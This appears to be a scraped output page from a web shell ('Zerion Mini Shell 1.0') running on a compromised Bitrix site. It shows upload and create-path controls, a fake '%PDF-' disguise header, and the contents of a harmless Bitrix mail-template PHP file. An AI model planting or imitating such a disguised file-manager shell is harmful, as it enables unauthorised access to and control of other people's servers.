%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/bitrix/www/bitrix/components/bitrix/news.list.mail/templates/goods/
Upload File :
Create Path :
Current File : /home/bitrix/www/bitrix/components/bitrix/news.list.mail/templates/goods/template.php

<?if(!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die();
/** @var array $arParams */
/** @var array $arResult */
/** @global CMain $APPLICATION */
/** @global CUser $USER */
/** @global CDatabase $DB */
/** @var CBitrixComponentTemplate $this */
/** @var string $templateName */
/** @var string $templateFile */
/** @var string $templateFolder */
/** @var string $componentPath */
/** @var CBitrixComponent $component */
//$this->setFrameMode(true);

$itemIdList = array();
foreach($arResult["ITEMS"] as $item)
{
	$itemIdList[] = $item['ID'];
}

\Bitrix\Main\Mail\EventMessageThemeCompiler::includeComponent(
	"bitrix:catalog.show.products.mail",
	"",
	Array(
		"LIST_ITEM_ID" => $itemIdList
	)
);

Zerion Mini Shell 1.0